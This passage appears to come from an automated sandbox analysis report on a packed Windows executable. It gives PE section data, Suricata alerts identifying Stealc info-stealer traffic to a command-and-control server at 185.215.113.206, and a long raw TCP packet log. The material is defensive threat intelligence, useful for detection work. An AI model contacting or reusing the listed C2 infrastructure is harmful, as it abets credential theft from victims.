IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	5f21a8fa48b05803664513e14e9236de	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x28b000	0x200	d9f572f0e40c48896b66f455ef8e33fe	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jsszqhsa	0x575000	0x191000	0x190600	635e2a713f2ac092868814e40210aef2	False	0.9949778527942554	data	7.955056025520199	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ihpnbawc	0x706000	0x1000	0x600	81fc70eaf324fedd0ab8da5778cf0ec6	False	0.5559895833333334	data	4.903585288987585	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x707000	0x3000	0x2200	6842b952b24493cb2226c9eeaa6c13bc	False	0.060776654411764705	DOS executable (COM)	0.6550532608921847	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T20:13:01.595244+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-30T20:13:01.876691+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-30T20:13:01.883307+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-10-30T20:13:02.157959+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-30T20:13:02.175310+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-10-30T20:13:03.272293+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-30T20:13:03.816840+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-30T20:13:22.169459+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T20:13:25.238390+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T20:13:26.922820+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T20:13:28.104915+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T20:13:31.692425+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T20:13:32.414380+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 20:13:00.394912004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:00.400401115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:00.400496960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:00.400638103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:00.405951977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:01.302176952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:01.302275896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:01.304425955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:01.309832096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:01.333722115 CET	49675	443	192.168.2.4	173.222.162.32
Oct 30, 2024 20:13:01.595145941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:01.595243931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:01.596370935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:01.601836920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:01.876619101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:01.876641989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:01.876691103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:01.876725912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:01.877973080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:01.883306980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:02.157860994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:02.157939911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:02.157951117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:02.157958984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:02.157991886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:02.158154964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:02.158168077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:02.158207893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:02.158535957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:02.158549070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:02.158581972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:02.158603907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:02.158827066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:02.158879042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:02.169555902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:02.175309896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:02.449702978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:02.449796915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:02.467263937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:02.467341900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:02.472713947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:02.472733021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:02.472778082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:02.472793102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:02.473033905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:02.473046064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.272200108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.272293091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.539050102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.544461966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.816761971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.816806078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.816817999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.816839933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.816898108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.816898108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.817075968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.817116976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.817293882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.817306995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.817331076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.817362070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.817687035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.817701101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.817729950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.817783117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.818125963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.818201065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.818274021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.818284988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.818320036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.818372011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.818602085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.818648100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.971424103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.971539974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.971606016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.971616983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.971652985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.971671104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.971724033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.971899033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.971911907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.971923113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.971951008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.971983910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.972373009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.972429991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.972592115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.972604036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.972651005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.972939014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.972995043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.973062038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.973112106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.973206043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.973217964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:03.973256111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:03.973285913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.088485956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.088538885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.088548899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.088629961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.088668108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.088867903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.088881969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.088926077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.088973999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.089301109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.089313984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.089396954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.089574099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.089585066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.089596987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.089616060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.089644909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.090091944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.090138912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.090164900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.090204000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.090334892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.090373993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.126311064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.126333952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.126374960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.126399040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.205317020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.205329895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.205394030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.205432892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.205506086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.205514908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.205569983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.205585003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.205624104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.205794096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.205806971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.205858946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.206075907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.206089020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.206136942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.206475973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.206489086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.206499100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.206525087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.206553936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.207489967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.207559109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.243496895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.243568897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.243609905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.243622065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.243662119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.322228909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.322288036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.322315931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.322359085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.322360039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.322392941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.322556019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.322596073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.322612047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.322664976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.322807074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.322858095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.322863102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.322902918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.323067904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.323081017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.323129892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.323328018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.323385954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.323597908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.323611021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.323658943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.323956966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.323968887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.324019909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.381299019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.381361008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.381405115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.381417036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.381445885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.381480932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.381779909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.381846905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.439254999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.439395905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.439445972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.439456940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.439501047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.439538002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.439579010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.439662933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.439711094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.439769983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.439816952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.439853907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.439898014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.440063000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.440074921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.440104961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.440129042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.440315008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.440363884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.440537930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.440550089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.440592051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.440937042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.440948963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.440985918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.441014051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.477500916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.477562904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.477592945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.477638960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.477749109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.477761030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.477814913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.556236982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.556282043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.556313992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.556348085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.556349039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.556387901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.556617022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.556629896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.556668997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.556833982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.556879997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.557097912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.557110071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.557147980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.557163954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.557454109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.557466030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.557504892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.557785988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.557846069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.558000088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.558011055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.558051109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.558067083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.594336033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.594419003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.594465017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.594477892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.594513893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.594806910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.594857931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.594932079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.594981909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.595103979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.595154047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.673235893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.673268080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.673278093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.673338890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.673373938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.673487902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.673554897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.673556089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.673613071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.673787117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.673799038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.673810005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.673851967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.673882961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.674318075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.674407005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.674592018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.674603939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.674657106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.674741983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.674767971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.674807072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.674838066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.675092936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.675160885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.711358070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.711438894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.711441994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.711455107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.711483955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.711512089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:04.711714029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.711725950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:04.711764097 CET	49730	80	192.168.2.4	185.215.113.206
